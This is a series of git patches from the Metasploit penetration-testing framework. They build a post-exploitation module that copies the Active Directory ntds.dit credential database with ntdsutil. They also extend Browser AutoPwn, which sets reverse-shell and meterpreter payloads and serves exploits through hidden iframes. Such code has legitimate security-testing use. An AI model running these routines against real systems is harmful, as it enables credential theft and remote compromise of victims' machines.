def copy_database_file + database_file_path = nil + case sysinfo["OS"] + when /2003/ + + when /2008|2012/ + else + print_error "This version of Windows in unsupported" + end + end + + def is_domain_controller? + status = false + service_list.each do |svc| + if svc[:name] == 'NTDS' + status = true + break + end + end + status + end + + def preconditions_met? + status = true + unless is_domain_controller? + print_error "This does not appear to be an AD Domain Controller" + status = false + end + unless is_admin? + print_error "This module requires Admin privs to run" + status = false + end + if is_uac_enabled? + print_error "This module requires UAC to be bypassed first" + status = false + end + return status + end + + +end From 3c9c578a3d4178000ab75257538b81c19796275f Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 May 2015 15:35:36 -0500 Subject: [PATCH 0052/1013] ntdsutil method in place ntdsutil method built out to make a copy of ntds.dit on later version of Winbdows Server MSP-12358 --- .../gather/credentials/domain_hashdump.rb | 27 +++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 116857fb01..908088c96c 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Post def run if preconditions_met? - copy_database_file + ntds_file = copy_database_file end end @@ -39,11 +39,13 @@ class Metasploit3 < Msf::Post database_file_path = nil case sysinfo["OS"] when /2003/ - + database_file_path = vss_method when /2008|2012/ + database_file_path = ntdsutil_method else print_error "This version of Windows in unsupported" end + database_file_path end def is_domain_controller? @@ -57,6 +59,20 @@ class Metasploit3 < Msf::Post status end + def ntdsutil_method + tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" + command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" + result = cmd_exec("ntdsutil.exe", command_arguments) + if result.include? "IFM media created successfully" + file_path = "#{tmp_path}\\Active Directory\\ntds.dit" + else + print_error "There was an error copying the ntds.dit file!" + file_path = nil + end + file_path + end + + def preconditions_met? status = true unless is_domain_controller? @@ -71,8 +87,15 @@ class Metasploit3 < Msf::Post print_error "This module requires UAC to be bypassed first" status = false end + if is_system? + print_error "Volume Shadow Copy will not work properly as SYSTEM, migrate to a real user" + status = false + end return status end + def vss_method + + end end From c8123c147f6a0780f52719ccf79d21341a94052a Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Tue, 5 May 2015 20:57:05 +0200 Subject: [PATCH 0053/1013] upnp vs hnap --- ...header_exec_noauth.rb => dlink_hnap_header_exec_noauth.rb} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename modules/exploits/linux/http/{dlink_upnp_header_exec_noauth.rb => dlink_hnap_header_exec_noauth.rb} (97%) diff --git a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb similarity index 97% rename from modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb rename to modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb index 5b57976022..0f001df572 100644 --- a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_hnap_header_exec_noauth.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution', + 'Name' => 'D-Link Devices HNAP SOAPAction-Header Command Execution', 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested on a DIR-645 device. The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB, From 95f087ffd3bbe5637906cd89d56ec57c9a4b110b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 7 May 2015 19:26:38 -0500 Subject: [PATCH 0054/1013] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 36 +++++++++++++++++++---- modules/exploits/multi/browser/autopwn.rb | 6 ++-- 2 files changed, 33 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index b3b119514d..6ac1624a76 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -40,6 +40,10 @@ module Msf # First we're going to avoid using #find_all because that gets very slow. framework.exploits.each_pair do |fullname, plader_holder| next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" + + # Regex search + next if datastore['Include'] && fullname !~ datastore['Include'] + mod = framework.exploits.create(fullname) unless mod print_status("Failed to load: #{fullname}") @@ -64,8 +68,9 @@ module Msf xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP - xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit - xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host + xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode end @@ -175,6 +180,26 @@ module Msf end + def get_selected_payload_name(platform) + payload_name = datastore["PAYLOAD_#{platform.upcase}"] + p = framework.payloads.create(payload_name) + + # The payload is legit, we can use it. + return payload_name if p + + default = DEFAULT_PAYLOADS[platform]['payload'] + print_status("Unknown payload set: #{payload_name}. Falling back to: #{default}.") + + # The user has configured some unknown payload that we can't use, + # fall back to default. + default + end + + def get_selected_payload_lport(platform) + datastore["PAYLOAD_#{platform.upcase}_LPORT"] + end + + # Creates payload listeners. # # @note INCOMPLETE @@ -188,9 +213,9 @@ module Msf next unless is_payload_handler_wanted?(listener_info['payload']) multi_handler = framework.modules.create('exploit/multi/handler') - multi_handler.datastore['LHOST'] = '0.0.0.0' - multi_handler.datastore['PAYLOAD'] = listener_info['payload'] - multi_handler.datastore['LPORT'] = listener_info['lport'] + multi_handler.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' + multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) + multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) multi_handler.datastore['EXITONSESSION'] = false multi_handler.datastore['EXITFUNC'] = 'thread' multi_handler.datastore['MODULEOWNER'] = 'BAP' @@ -271,6 +296,7 @@ module Msf def setup t1 = Time.now self.datastore['MODULEOWNER'] = 'BAP' + self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 61c987bb6d..a7c457e17f 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -19,9 +19,6 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'Targets' => [ [ 'Automatic', {} ] ], - 'DefaultOptions' => { - 'DisablePayloadHandler' => true # BAPv2 will set up our own - }, 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", @@ -32,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']) + OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), + OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') From 8cd2d442ff85feda7e9b2d65b1e5f53b7b6e014c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 7 May 2015 20:54:30 -0500 Subject: [PATCH 0055/1013] Modify show options --- lib/msf/core/exploit/browserautopwnv2.rb | 40 ++++++++++++++----- lib/msf/ui/console/command_dispatcher/core.rb | 4 +- 2 files changed, 34 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 6ac1624a76..44f6f74e5f 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,16 +22,21 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, - 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, - 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, - 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, - 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, - 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, + 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, + 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4446 }, + 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, + 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } } + def is_browse_autopwn? + true + end + + # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # @@ -67,7 +72,7 @@ module Msf xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version - xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP + xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode @@ -200,6 +205,11 @@ module Msf end + def get_payload_lhost + datastore['LHOST'] || Rex::Socket.source_address + end + + # Creates payload listeners. # # @note INCOMPLETE @@ -213,7 +223,7 @@ module Msf next unless is_payload_handler_wanted?(listener_info['payload']) multi_handler = framework.modules.create('exploit/multi/handler') - multi_handler.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' + multi_handler.datastore['LHOST'] = get_payload_lhost multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) multi_handler.datastore['EXITONSESSION'] = false @@ -352,5 +362,17 @@ module Msf print_status("BrowserAutoPwn URL: #{self.get_uri}") end + def show_payloads + DEFAULT_PAYLOADS.keys.each do |platform| + payload_name = get_selected_payload_name(platform) + p = framework.payloads.create(payload_name) + p.datastore['LHOST'] = get_payload_lhost + p.datastore['LPORT'] = get_selected_payload_lport(platform) + next unless p + p_opt = Serializer::ReadableText.dump_options(p, ' ') + print("\nPayload options (#{payload_name}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) + end + end + end end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 7b02741219..41dd2c4e9c 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3383,7 +3383,9 @@ class Core # If it's an exploit and a payload is defined, create it and # display the payload's options - if (mod.exploit? and mod.datastore['PAYLOAD']) + if mod.exploit? and mod.method(:show_payloads) + mod.show_payloads + elsif (mod.exploit? and mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD']) if (!p) From 8e86a92210ef27d10e534373f5fcad2609314b49 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:25:34 -0500 Subject: [PATCH 0056/1013] Update --- lib/msf/core/exploit/browserautopwnv2.rb | 6 +++--- lib/msf/core/exploit/http/server.rb | 4 ++-- lib/msf/core/exploit/tcp_server.rb | 4 ++-- lib/msf/core/handler/reverse_tcp.rb | 2 +- lib/msf/ui/console/command_dispatcher/core.rb | 10 +++++++--- modules/exploits/multi/handler.rb | 2 +- 6 files changed, 16 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 44f6f74e5f..2031755ed0 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -75,7 +75,7 @@ module Msf xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host - xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode end @@ -228,7 +228,7 @@ module Msf multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) multi_handler.datastore['EXITONSESSION'] = false multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['MODULEOWNER'] = 'BAP' + multi_handler.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, @@ -305,7 +305,7 @@ module Msf # @return [void] def setup t1 = Time.now - self.datastore['MODULEOWNER'] = 'BAP' + self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 39dca74d0a..3f27feb488 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -217,12 +217,12 @@ module Exploit::Remote::HttpServer print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") end - if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != 'BAP' + if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 3d53977a14..3744de0782 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -47,7 +47,7 @@ module Exploit::Remote::TcpServer def exploit start_service() - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Server started.") end @@ -71,7 +71,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Server stopped.") end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 8d7dd0454c..cca19fbeb4 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -108,7 +108,7 @@ module ReverseTcp else via = "" end - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status("Started reverse handler on #{ip}:#{local_port} #{via}") end break diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 41dd2c4e9c..6685ab066a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3381,9 +3381,13 @@ class Core mod_opt = Serializer::ReadableText.dump_options(mod, ' ') print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) - # If it's an exploit and a payload is defined, create it and - # display the payload's options - if mod.exploit? and mod.method(:show_payloads) + # We have to special-case browser autopwn because BAP is an exploit module that allows having + # multiple payloads, but normally MSF can't do this, so it will have be handled by the BAP + # mixin. + # For other normal cases, if it's still an exploit and a payload is defined, then just go ahead + # create it, and then display the payload options. + if mod.exploit? and mod.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) and mod.respond_to?(:show_payloads) + # #show_payloads should be defined by BrowserAutoPwn mod.show_payloads elsif (mod.exploit? and mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD']) diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index ef0ee4271b..26cfb0529b 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote end stime = Time.now.to_f - unless datastore['MODULEOWNER'] == 'BAP' + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 print_status "Starting the payload handler..." end while(true) From 2e2b536e8f7d5e5b8592d50b6ffd9b1fb7ca1315 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:28:46 -0500 Subject: [PATCH 0057/1013] Update --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- lib/msf/core/exploit/remote/browser_exploit_server.rb | 8 -------- 2 files changed, 2 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 2031755ed0..d5fe1dfa2e 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -54,7 +54,7 @@ module Msf print_status("Failed to load: #{fullname}") next end - if mod.methods.include?(:is_browser_exploit_server?) + if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) set_exploit_options(mod) @bap_exploits << mod end @@ -75,7 +75,7 @@ module Msf xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host - xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode + xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 723c8d2b47..6e2edcc9f4 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,14 +111,6 @@ module Msf end - # This allows BrowserAutoPwn's loader to identify which browser exploits are using BES, and - # which ones aren't. This is a way to get around the expensive #find_all in order to retrieve - # the #ancestors information. - def is_browser_exploit_server? - true - end - - # Returns the custom 404 URL set by the user # # @return [String] From 785a1f4205182bbb86ca2643f60d85a5f7addf92 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:48:04 -0500 Subject: [PATCH 0058/1013] Modify set payload --- lib/msf/core/exploit/browserautopwnv2.rb | 17 +++++++++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 7 ++++++- 2 files changed, 23 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d5fe1dfa2e..c4538ac4cb 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -374,5 +374,22 @@ module Msf end end + def set_payload + print_status("'set payload' has been disabled for BrowserAutoPwn.") + print_status('You should set a platform-specific payload instead via advanced options:') + print_line + table = Rex::Ui::Text::Table.new( + 'Header' => 'Options', + 'Indent' => 1, + 'Columns' => ['Platform', 'Payload'] + ) + DEFAULT_PAYLOADS.each_pair do |platform, payload_info| + table << ["PAYLOAD_#{platform}", payload_info['payload']] + end + print_line(table.to_s) + print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") + print_status("Please also see 'show advanced' for more options.") + end + end end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 6685ab066a..6e4fade1c0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1996,6 +1996,12 @@ class Core # Sets a name to a value in a context aware environment. # def cmd_set(*args) + # Special-case Browser AutoPwn because set payload can only set one payload, but BAP can + # do multiple. So let BAP handle this. + if args[0] && args[0].upcase == 'PAYLOAD' && active_module.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) && active_module.respond_to?(:set_payload) + active_module.set_payload + return + end # Figure out if these are global variables global = false @@ -2110,7 +2116,6 @@ class Core # at least 1 when tab completion has reached this stage since the command itself has been completed def cmd_set_tabs(str, words) - # A value has already been specified return [] if words.length > 2 From 2ea5d49902192dbc976b4b17dad9b2bb42437fe7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 8 May 2015 00:53:25 -0500 Subject: [PATCH 0059/1013] Update set payload description --- lib/msf/core/exploit/browserautopwnv2.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c4538ac4cb..28128b40ed 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -379,16 +379,18 @@ module Msf print_status('You should set a platform-specific payload instead via advanced options:') print_line table = Rex::Ui::Text::Table.new( - 'Header' => 'Options', + 'Header' => 'Advanced Options', 'Indent' => 1, - 'Columns' => ['Platform', 'Payload'] + 'Columns' => ['Option Name', 'Description'] ) DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - table << ["PAYLOAD_#{platform}", payload_info['payload']] + table << ["PAYLOAD_#{platform.upcase}", "Payload for #{platform} browser exploits"] end print_line(table.to_s) print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") - print_status("Please also see 'show advanced' for more options.") + print_line + print_status("For a list of payloads, you can do: show payloads") + print_status("You can also see 'show advanced' for more options.") end end From 30b1c508f1d3867f0b4708db4e5ba3110c3b378b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sun, 10 May 2015 16:50:32 -0500 Subject: [PATCH 0060/1013] javascript portion --- lib/msf/core/exploit/browserautopwnv2.rb | 60 +++++++++++++++++++++-- modules/exploits/multi/browser/autopwn.rb | 9 ++-- 2 files changed, 60 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 28128b40ed..518fbe1fd0 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -32,11 +32,6 @@ module Msf } - def is_browse_autopwn? - true - end - - # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # @@ -393,5 +388,60 @@ module Msf print_status("You can also see 'show advanced' for more options.") end + def get_exploit_urls + urls = [] + + bap_exploits.each do |mod| + proto = mod.ssl ? 'https' : 'http' + host = datastore['URIHOST'] || Rex::Socket.source_address + port = datastore['SRVPORT'] + resource = mod.datastore['URIPATH'] + url = "#{proto}://#{host}:#{port}#{resource}" + urls << url + end + + urls + end + + # On the fly + def build_html + js = %Q| + var currentIndex = 0; + var exploitList = [#{get_exploit_urls.map! {|e| "'#{e}'"} * ", "}]; + + window.onload = function() { + var e = document.createElement("iframe"); + e.setAttribute("id", "myiframe"); + if (typeof e.style.setAttribute == 'undefined') { + e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); + } else { + e.style.setAttribute("visibility", "hidden"); + e.style.setAttribute("height", "0"); + e.style.setAttribute("width", "0"); + e.style.setAttribute("border", "0"); + } + document.body.appendChild(e); + setTimeout("loadExploit(currentIndex)", 1000); + } + + function loadExploit(i) { + var e = document.getElementById("myiframe"); + e.setAttribute("src", exploitList[i]); + currentIndex += 1; + } + | + + %Q| + + + + + #{datastore['Content']} + + | + end + end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index a7c457e17f..20c17d9721 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']), - OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']) + OptRegexp.new('Include', [false, 'Pattern search for specific modules to use']), + OptString.new('Content', [false, 'HTML Content', '']) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') @@ -57,9 +58,9 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_exploit(cli, request, target_info) - #$stderr.puts get_target.inspect - #$stderr.puts find_suitable_exploits(target_info) - send_exploit_html(cli, 'OK') + serve = build_html + print_status("Serving exploits...") + send_exploit_html(cli, serve) end From f3effe5fbb843439cdf52ce571b429e8bda1b5c4 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 11 May 2015 11:17:58 -0500 Subject: [PATCH 0061/1013] some minor cleanup cleanup based on feedback from Kronicdeth MSP-12357 --- lib/metasploit/framework/ntds/account.rb | 90 +++++++------------ lib/metasploit/framework/ntds/parser.rb | 12 ++- .../post/meterpreter/extensions/priv/priv.rb | 2 +- 3 files changed, 38 insertions(+), 66 deletions(-) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb index 499ea42a65..58179950d6 100644 --- a/lib/metasploit/framework/ntds/account.rb +++ b/lib/metasploit/framework/ntds/account.rb @@ -5,73 +5,47 @@ module Metasploit # priv extension. class Account - # @!attribute description - # @return [String] The AD Account Description + #@return [String] The AD Account Description attr_accessor :description - # @!attribute disabled - # @return [TrueClass] If the AD account is disabled - # @return [FalseClass] If the AD account is not disabled + #@return [Boolean] If the AD account is disabled attr_accessor :disabled - # @!attribute expired - # @return [TrueClass] If the AD account password is expired - # @return [FalseClass] If the AD account password is not expired + #@return [Boolean] If the AD account password is expired attr_accessor :expired - # @!attribute expiry_date - # @return [String] Human Readable Date for the account's password expiration + #@return [String] Human Readable Date for the account's password expiration attr_accessor :expiry_date - # @!attribute lm_hash - # @return [String] The LM Hash of the current password + #@return [String] The LM Hash of the current password attr_accessor :lm_hash - # @!attribute lm_history - # @return [Array] The LM hashes for previous passwords, up to 24 + #@return [Array] The LM hashes for previous passwords, up to 24 attr_accessor :lm_history - # @!attribute lm_history_count - # @return [Fixnum] The count of historical LM hashes + #@return [Fixnum] The count of historical LM hashes attr_accessor :lm_history_count - # @!attribute locked - # @return [TrueClass] If the AD account is locked - # @return [FalseClass] If the AD account is not locked + #@return [Boolean] If the AD account is locked attr_accessor :locked - # @!attribute logon_count - # @return [Fixnum] The number of times this account has logged in + #@return [Fixnum] The number of times this account has logged in attr_accessor :logon_count - # @!attribute logon_date - # @return [String] Human Readable Date for the last time the account logged in + #@return [String] Human Readable Date for the last time the account logged in attr_accessor :logon_date - # @!attribute logon_time - # @return [String] Human Readable Time for the last time the account logged in + #@return [String] Human Readable Time for the last time the account logged in attr_accessor :logon_time - # @!attribute name - # @return [String] The samAccountName of the account + #@return [String] The samAccountName of the account attr_accessor :name - # @!attribute no_expire - # @return [TrueClass] If the AD account password does not expire - # @return [FalseClass] If the AD account password does expire + #@return [Boolean] If the AD account password does not expire attr_accessor :no_expire - # @!attribute no_pass - # @return [TrueClass] If the AD account does not require a password - # @return [FalseClass] If the AD account does require a password + #@return [Boolean] If the AD account does not require a password attr_accessor :no_pass - # @!attribute nt_hash - # @return [String] The NT Hash of the current password + #@return [String] The NT Hash of the current password attr_accessor :nt_hash - # @!attribute nt_history - # @return [Array] The NT hashes for previous passwords, up to 24 + #@return [Array] The NT hashes for previous passwords, up to 24 attr_accessor :nt_history - # @!attribute nt_history_count - # @return [Fixnum] The count of historical NT hashes + #@return [Fixnum] The count of historical NT hashes attr_accessor :nt_history_count - # @!attribute pass_date - # @return [String] Human Readable Date for the last password change + #@return [String] Human Readable Date for the last password change attr_accessor :pass_date - # @!attribute pass_time - # @return [String] Human Readable Time for the last password change + #@return [String] Human Readable Time for the last password change attr_accessor :pass_time - # @!attribute rid - # @return [Fixnum] The Relative ID of the account + #@return [Fixnum] The Relative ID of the account attr_accessor :rid - # @!attribute sid - # @return [String] Byte String for the Account's SID + #@return [String] Byte String for the Account's SID attr_accessor :sid # @param raw_data 